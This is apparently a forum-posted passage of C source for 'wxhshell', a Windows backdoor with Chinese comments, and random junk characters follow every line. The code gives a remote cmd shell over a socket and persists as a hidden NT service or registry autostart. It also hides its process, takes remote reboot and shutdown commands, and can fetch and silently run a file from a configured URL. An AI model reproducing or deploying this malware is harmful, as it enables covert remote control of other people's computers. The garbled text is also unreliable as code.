  1i2jYDB"  
  // 帮助 jW?.>(  
  case '?': { t#6gjfIi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #E{OOcM  
    break; ldI;DoE#U1  
  } @~QW~{y  
  // 安装 fCO!M1t  
  case 'i': { QmbD%kW`3  
    if(Install()) tA}O'x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W O|2x0K  
    else _2}i8q:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &wK%p/?  
    break; -]W AB9  
    } c<pr1g  
  // 卸载 A;Xn#t ,(K  
  case 'r': {  p&:R SO  
    if(Uninstall()) + :iNoDz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'WxcA)z0cQ  
    else $N+a4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Le|Ho^h,Y  
    break; vxk1RL*Xu  
    } WP2|0ib  
  // 显示 wxhshell 所在路径 wEQV"I  
  case 'p': { Co[  rhs  
    char svExeFile[MAX_PATH]; K}&|lCsb  
    strcpy(svExeFile,"\n\r"); \Ao M'+  
      strcat(svExeFile,ExeFile); Mf/zSQk+  
        send(wsh,svExeFile,strlen(svExeFile),0); !OPa `kSh  
    break; MFiX8zwhx+  
    } |v[{k>7f  
  // 重启 q`"gT;3S  
  case 'b': { qD7# q]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); + [|2k(U  
    if(Boot(REBOOT)) pWwaN4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h1FM)n[E7  
    else { EG@*J*|S  
    closesocket(wsh); aoI{<,(  
    ExitThread(0); d_1w 9 F A  
    } EoIP#Cnd1  
    break; ?9OiF-:n  
    } 0Evmq3,9  
  // 关机 6b6}HO  
  case 'd': { Q$iv27  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B~jl1g|  
    if(Boot(SHUTDOWN)) E`u=$~K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,DXNq`24  
    else { &>*f J  
    closesocket(wsh); _dmgNbs  
    ExitThread(0); UccnQZ7/I  
    } q 1Rk'k4+  
    break; &r/a\t,8n  
    } a^,6[  
  // 获取shell Beiz*2-}a  
  case 's': { xzz[!yJjG  
    CmdShell(wsh); )+u|qT3%  
    closesocket(wsh); CmY'[rI  
    ExitThread(0); RUlM""@b  
    break; CP]BSyim'  
  } f|1y?w?I  
  // 退出 f,)[f M4  
  case 'x': { &owBmpz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _udH(NC  
    CloseIt(wsh); B&O931E7  
    break; m%qah>11  
    } CsQ}eW8uEf  
  // 离开 n;xtUw6 \  
  case 'q': { $s)G0/~W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CLdLO u"  
    closesocket(wsh); 2%rAf8=  
    WSACleanup(); O5{ >k  
    exit(1); O-U_Zx0zd  
    break; bJx{mq  
        } Nye Ga  
  } %h4pIA  
  } .px*.e s  
ne oT\HV  
  // 提示信息 4u"V52  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rgRh ySud  
} A+iQH1C0h  
  } D ( <_1  
X%h1r`h&  
  return; [6FCbzS_W  
} =xS(Er`r  
n^UrHHOL  
// shell模块句柄 4IG'T m  
int CmdShell(SOCKET sock) /H:'(W_b;  
{ <q~&g &&+  
STARTUPINFO si; )67Kd]  
ZeroMemory(&si,sizeof(si)); uV#/Lgw{M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8]YFlW9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7M<7^)9  
PROCESS_INFORMATION ProcessInfo; "qu%$L  
char cmdline[]="cmd"; : N>5{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c_yf=   
  return 0; :05>~bn>pC  
} I'`Q_5s5  
d-#MRl$rtK  
// 自身启动模式 *QG>U[  
int StartFromService(void) cW/RH.N  
{ BikmAa  
typedef struct 6*A S4l  
{ ME>OTs  
  DWORD ExitStatus; |FS79Bv  
  DWORD PebBaseAddress; ']Nw{}eS`  
  DWORD AffinityMask; v< xe(dC  
  DWORD BasePriority; V/.Y]dN5  
  ULONG UniqueProcessId; E@}t1!E<  
  ULONG InheritedFromUniqueProcessId; S@k4k^Vg  
}   PROCESS_BASIC_INFORMATION; D`o* OlU  
HfFP4#C,  
PROCNTQSIP NtQueryInformationProcess; N*|Mfpf  
'%. lY9D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !}9k @=[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gLaFIeF<+  
l-Xxur5M'  
  HANDLE             hProcess; `jSxq66L p  
  PROCESS_BASIC_INFORMATION pbi; pa~.[cBI  
B+ud-M0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JY(_}AAu  
  if(NULL == hInst ) return 0; $*Njvr7  
DDwH9*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4l@*x^F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?}D@{%O3T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )Jz L  
m;>HUTj  
  if (!NtQueryInformationProcess) return 0; N32!*TsWs  
_bHmcK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JpvE c!cli  
  if(!hProcess) return 0; b%2+g<UKh  
i5T&1W i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u%Bk"noCa  
w`bojM@e1  
  CloseHandle(hProcess); nAZuA]p}S]  
I: P/ ?-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y[UTuFv~Q  
if(hProcess==NULL) return 0; X|{TwmHd  
uCB7(<  
HMODULE hMod; s(w6Ldi  
char procName[255]; vj]-p=  
unsigned long cbNeeded; 1mz;4xb  
*[]7l]XK.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +H,/W_/g  
fil'._  
  CloseHandle(hProcess); Pn\ Lg8  
+?5nkhH  
if(strstr(procName,"services")) return 1; // 以服务启动 h\Ck""&  
?lKFcm  
  return 0; // 注册表启动 U;<07 aMj  
} 3WZ]9v{k  
EJ;:O1,6H  
// 主模块 5`53lK.C  
int StartWxhshell(LPSTR lpCmdLine) X-|Lg.s  
{ /XEUJC4  
  SOCKET wsl; Wf^6:  
BOOL val=TRUE; $vnshU8/v  
  int port=0; 3R1v0  
  struct sockaddr_in door; Cu3^de@h  
GS_'&Yj  
  if(wscfg.ws_autoins) Install(); 3K c  
d/vF^v*o0X  
port=atoi(lpCmdLine); *.#d'~+  
rK;F]ei  
if(port<=0) port=wscfg.ws_port; -/*-e /+b  
eGwrSF#a)  
  WSADATA data; 9^h0D}#@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9YS&RBJu  
&x =}m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _5 Zhv-7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p}$VBl$'  
  door.sin_family = AF_INET; BUqe~E|I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8<#X]I_eP+  
  door.sin_port = htons(port); W-ErzX  
5(R ./  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1K.i>]}>  
closesocket(wsl); Q%o:*(x[O  
return 1; n@<+D`[.V  
} FO#`}? R`  
V`sINX  
  if(listen(wsl,2) == INVALID_SOCKET) { ;^za/h>r  
closesocket(wsl); DUUQz:?{J  
return 1; >0z(+}]3z  
} e~w-v"'  
  Wxhshell(wsl); 7SOi9JU_  
  WSACleanup(); r)UtS4 7  
FJDx80J  
return 0; Ea#wtow|-  
[LDsn]{  
} 7t &KKKV  
99j^<)  
// 以NT服务方式启动 0\*[7!`s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sDA&U9;  
{ .\K0+b;  
DWORD   status = 0; MwMv[];I  
  DWORD   specificError = 0xfffffff; ^}vLZA  
~jWG U-m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c@!%.# |y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ltRvNXx+]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [(Ss^?AJW  
  serviceStatus.dwWin32ExitCode     = 0; W'WZ@!!  
  serviceStatus.dwServiceSpecificExitCode = 0; .G8+D%%.  
  serviceStatus.dwCheckPoint       = 0; ANh7`AUuO  
  serviceStatus.dwWaitHint       = 0; wPdp!h7B~N  
I/:M~ b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  0IO#h{t  
  if (hServiceStatusHandle==0) return; OP>rEUtj  
4d~Sn81xW  
status = GetLastError(); &Jw]3U5J  
  if (status!=NO_ERROR) VL4ErOoZ  
{ Wm_:1~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !cS A|C  
    serviceStatus.dwCheckPoint       = 0; C{AVV<  
    serviceStatus.dwWaitHint       = 0; WfYu-TK *  
    serviceStatus.dwWin32ExitCode     = status; *F7ksLH|q  
    serviceStatus.dwServiceSpecificExitCode = specificError; AG/?LPJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OE_;i}58  
    return; |t](4  
  } /sVy"48-  
1 XsB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1Z-f@PoM  
  serviceStatus.dwCheckPoint       = 0; VA{2a7]  
  serviceStatus.dwWaitHint       = 0; cYHHCaCS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ], Xva`"  
} gbF^m`A>%+  
}@JPvI E  
// 处理NT服务事件,比如:启动、停止 y!JZWq%=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Bs7/<$9K/  
{ $}kT )+K  
switch(fdwControl) Z#w@ /!"}T  
{ X 633.]+  
case SERVICE_CONTROL_STOP: !##OQ  
  serviceStatus.dwWin32ExitCode = 0; 7&-i :2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ps=OL\i  
  serviceStatus.dwCheckPoint   = 0; B+W 4r9#  
  serviceStatus.dwWaitHint     = 0; cVCylR U"  
  { DPIIE2X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i`#5dIb   
  } ^0" W/  
  return; M;s r1C  
case SERVICE_CONTROL_PAUSE: 6XU1w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8JYF0r7  
  break; \Eqxmo  
case SERVICE_CONTROL_CONTINUE: %C}TdG(C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b|_Pt  
  break; VsLlPw{  
case SERVICE_CONTROL_INTERROGATE: aN n\URR  
  break; ?8 dd^iX/  
}; ;.Dm?J0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o \ss  
} s'/b&Idf8  
#bk[Zj&  
// 标准应用程序主函数 i4"BN,NZ{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xB.h#x>_`  
{ u17e  
="X2AuK%1$  
// 获取操作系统版本 Z*,Nt6;e  
OsIsNt=GetOsVer(); mWhQds6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'L$%)`;e  
GZt+(q  
  // 从命令行安装 \jlem<&  
  if(strpbrk(lpCmdLine,"iI")) Install(); E"8cB]`|8  
ey4RKk,  
  // 下载执行文件 %p?+r  
if(wscfg.ws_downexe) { ean_/E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K7o!,['W  
  WinExec(wscfg.ws_filenam,SW_HIDE); f;";P  
} !yxb=>A  
k;aV4 0N9  
if(!OsIsNt) { ++b1VBP  
// 如果时win9x,隐藏进程并且设置为注册表启动 +-8S,Rg@   
HideProc(); T_T@0`7  
StartWxhshell(lpCmdLine); !{hC99q6  
} |/Q7 o1i  
else CVo2?ZQ  
  if(StartFromService()) zB,Vi-)vH  
  // 以服务方式启动 vE4ce  
  StartServiceCtrlDispatcher(DispatchTable); 8cN[t.S  
else 4rpx  
  // 普通方式启动 mBb;:-5  
  StartWxhshell(lpCmdLine); Yfro^}f  
Q:U^):~  
return 0; ^P)W/2  
}
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只看该作者 1 发表于: 2006-10-10
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